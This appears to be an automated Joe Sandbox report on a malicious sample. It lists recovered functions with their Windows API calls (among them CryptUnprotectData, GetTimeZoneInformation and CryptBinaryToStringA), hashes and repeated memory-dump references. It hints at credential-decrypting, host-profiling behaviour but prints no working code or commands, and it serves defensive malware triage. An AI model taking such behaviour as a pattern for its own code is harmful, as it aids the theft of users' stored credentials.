Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Q$'){U$G $]k/
API String ID: 0-2226023284
Opcode ID: d489f2c6b780d046c0edc26cd9c3c4470a3a2417a1ffe2a7d952145c6a2bc9fb
Instruction ID: fe4afe9f2d47616b8490ae450c738c2923cdd6d6a3f4540656f8a5288bf00674
Opcode Fuzzy Hash: d489f2c6b780d046c0edc26cd9c3c4470a3a2417a1ffe2a7d952145c6a2bc9fb
Instruction Fuzzy Hash: 87B2E5F360C200AFE704AE29EC8577AFBE5EF94720F1A493DEAC487744E63558058697

Function 00688EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00675184,40000001,00000000,00000000,?,00675184), ref: 00688EC0

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: eb6d2fc5bbbcf265ef230675e0ef01f988e7d0b6758c404b98c0c14c5c9094d3
Instruction ID: 10e97aea663fcae5b47ca6c714858987213b813352b3804a7d3ff10bc83d59dc
Opcode Fuzzy Hash: eb6d2fc5bbbcf265ef230675e0ef01f988e7d0b6758c404b98c0c14c5c9094d3
Instruction Fuzzy Hash: 4D112A70200208FFDB04DF64E888FAB37AABF89340F509658FA198B250DB75EC41DB60

Function 00687A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,012BEE68,00000000,?,00690E10,00000000,?,00000000,00000000), ref: 00687A63
RtlAllocateHeap.NTDLL(00000000), ref: 00687A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,012BEE68,00000000,?,00690E10,00000000,?,00000000,00000000,?), ref: 00687A7D
wsprintfA.USER32 ref: 00687AB7

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: cf214e382b6bc969a1315564be05b9c052f228caaf1f68bbe5e48e3608801d9c
Instruction ID: cd833c300c492939a18393ee66f777b21d78d496e681a677704ac979c0f8e4df
Opcode Fuzzy Hash: cf214e382b6bc969a1315564be05b9c052f228caaf1f68bbe5e48e3608801d9c
Instruction Fuzzy Hash: 52118EB1945218EBEB249B54DC49FA9B778FB04721F1043AAE91A932C0D7745A40CF91

Function 00A3311C Relevance: 5.4, Strings: 3, Instructions: 1643COMMON

Download Yara Rule

Strings

a?g, xrefs: 00A34167
-}, xrefs: 00A33F90
U%w{, xrefs: 00A33863

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -}$U%w{$a?g
API String ID: 0-1225954905
Opcode ID: 57c32c4e15387565f05dfdb0ef3f1dfb24979a90f1ae45cd28b54361442001ba
Instruction ID: 241ca43925c4932b13242017c7079a627f5b07c8931156385ef496c9096d5209
Opcode Fuzzy Hash: 57c32c4e15387565f05dfdb0ef3f1dfb24979a90f1ae45cd28b54361442001ba
Instruction Fuzzy Hash: 81B205F360C2049FE7046E2DEC8567ABBE9EF94320F1A463DEAC4C7744EA3558058697

Function 00A3E8C8 Relevance: 5.4, Strings: 3, Instructions: 1612COMMON

Download Yara Rule

Strings

zoo, xrefs: 00A3EE1F
j.]y, xrefs: 00A3F581
{W{;, xrefs: 00A3EF7E

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: j.]y$zoo${W{;
API String ID: 0-1096613218
Opcode ID: c8c679c519bf355c1377f4b3b711c30a18ef8b23d6dd4551e64fd195acc58130
Instruction ID: 83b6b04f2ebb1c644d5c12a375842d80ea3d6610b33bf23947d0813903abf41e
Opcode Fuzzy Hash: c8c679c519bf355c1377f4b3b711c30a18ef8b23d6dd4551e64fd195acc58130
Instruction Fuzzy Hash: E3B214F360C204AFE304AE29EC8567AFBE5EF94720F1A493DE6C4C3744EA3558458697

Function 00A39B28 Relevance: 5.3, Strings: 3, Instructions: 1548COMMON

Download Yara Rule

Strings

{"}{, xrefs: 00A3A55C
Z}~j, xrefs: 00A3A44D
%!, xrefs: 00A3AAF4

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %!$Z}~j${"}{
API String ID: 0-624438500
Opcode ID: 3258fb987fda42cb3973c36b5059a51a1ac5e1322f689a31270b964f70d430c8
Instruction ID: f28d928f3e57bc70076b129d2d3256699270270ee5030bd5661aa77395c81a8e
Opcode Fuzzy Hash: 3258fb987fda42cb3973c36b5059a51a1ac5e1322f689a31270b964f70d430c8
Instruction Fuzzy Hash: 56A2E4F360C6009FE304AE29EC85B7ABBE5EF98320F1A493DE6C5C3744E67558058697

Function 00683720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0068E118,00000000,00000001,0068E108,00000000), ref: 00683758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 006837B0

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 504344531d1070b4d6ab0c188d5a8a94aefebd451c56bec5fb806eb740b1ce53
Instruction ID: 22fc7847402fe7e44ca13475cf1a970d3b19330d95b9c32abffd4fd332cb0b48
Opcode Fuzzy Hash: 504344531d1070b4d6ab0c188d5a8a94aefebd451c56bec5fb806eb740b1ce53
Instruction Fuzzy Hash: DF41D970A40A289FDB24DF58CC95B9BB7B5BB48702F4052D8E609E72D0D7716E85CF50

Function 00679B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00679B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00679BA3
LocalFree.KERNEL32(?), ref: 00679BD3

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 032966990c84a4614602ed3e3b8609afb2be9e565ab322d6eccb54d160d02aa9
Instruction ID: 25ca91693239253771b7e59cd2bb4a643c5580df30605f0704a683315cab2ff1
Opcode Fuzzy Hash: 032966990c84a4614602ed3e3b8609afb2be9e565ab322d6eccb54d160d02aa9
Instruction Fuzzy Hash: 4111C9B8A00209EFDB04DF94D999AAE77F5FF89700F104698E915A7350D770AE10CFA1

Function 00A4AB89 Relevance: 2.4, Strings: 1, Instructions: 1116COMMON

Download Yara Rule

Strings

qkm, xrefs: 00A4AEE1

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: qkm
API String ID: 0-3173522632
Opcode ID: 82c5d3a96085e210c49b7c4cd02fba5aa81880344919bbb391910f309c2750fa
Instruction ID: 3943a91f3fd9a7907bc97f70bc25ddea3bf4161b51778d78fcc2b9e5c4207f9e
Opcode Fuzzy Hash: 82c5d3a96085e210c49b7c4cd02fba5aa81880344919bbb391910f309c2750fa
Instruction Fuzzy Hash: 1672E2F360C2149FE304AF29EC8567ABBE5EF94720F16492DEAC4C7744E63598408B97

Function 009FBB1A Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

~hO, xrefs: 009FBB5B

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ~hO
API String ID: 0-3737031977
Opcode ID: 9b2b373a9e813042422f3ded08577061f3e54f5a21ff75add330aa146da300a4
Instruction ID: f7d95564c6d011a7c43c953f56b4e859153095944fee8c450ea61eb286910e6a
Opcode Fuzzy Hash: 9b2b373a9e813042422f3ded08577061f3e54f5a21ff75add330aa146da300a4
Instruction Fuzzy Hash: C54148F3B082105FF3185A29EC857BAB796DBD4320F1A823DDE8557B84D87A5C0686C5

Function 0094705F Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 610e7f9d4bf7eeae55952b2e4db3e857001e886a5bcb94d1ad61d33f09dd5846
Instruction ID: e8a50efc24040f1cb643aa7cd8ed9e86e6cd03cc20ca7a103c746b6e1596b746
Opcode Fuzzy Hash: 610e7f9d4bf7eeae55952b2e4db3e857001e886a5bcb94d1ad61d33f09dd5846
Instruction Fuzzy Hash: 7A512BF3A182105FE7046D2CEC9477ABADADF94360F17493EEBC4C3784E97948058296

Function 009EB3E4 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1742be189f2263dbee17944ddfa261d5c65719b01506292d3897264021ce2502
Instruction ID: bb3c7aea35268db92ffb06fc7462bd22f35755b4b3a422b29e5e11fa4a7ca0c6
Opcode Fuzzy Hash: 1742be189f2263dbee17944ddfa261d5c65719b01506292d3897264021ce2502
Instruction Fuzzy Hash: 4E516AF3E096009BE3086A2DDC9576ABBD6EFD0730F2B453EDA85D7780E9759C014682

Function 009CF5FE Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 655d444d4d20ecfbfcb031581eb250927037691523017e785043fa38750aa434
Instruction ID: c1d66d4691a291796d6ddf038fe1828a88fc72e4013e1638ca3750566dc874e1
Opcode Fuzzy Hash: 655d444d4d20ecfbfcb031581eb250927037691523017e785043fa38750aa434
Instruction Fuzzy Hash: 6F5124F390C6109BD3086F28ED4577ABBE1EB84720F168A2DD9C987684EA354845C787

Function 0097D410 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

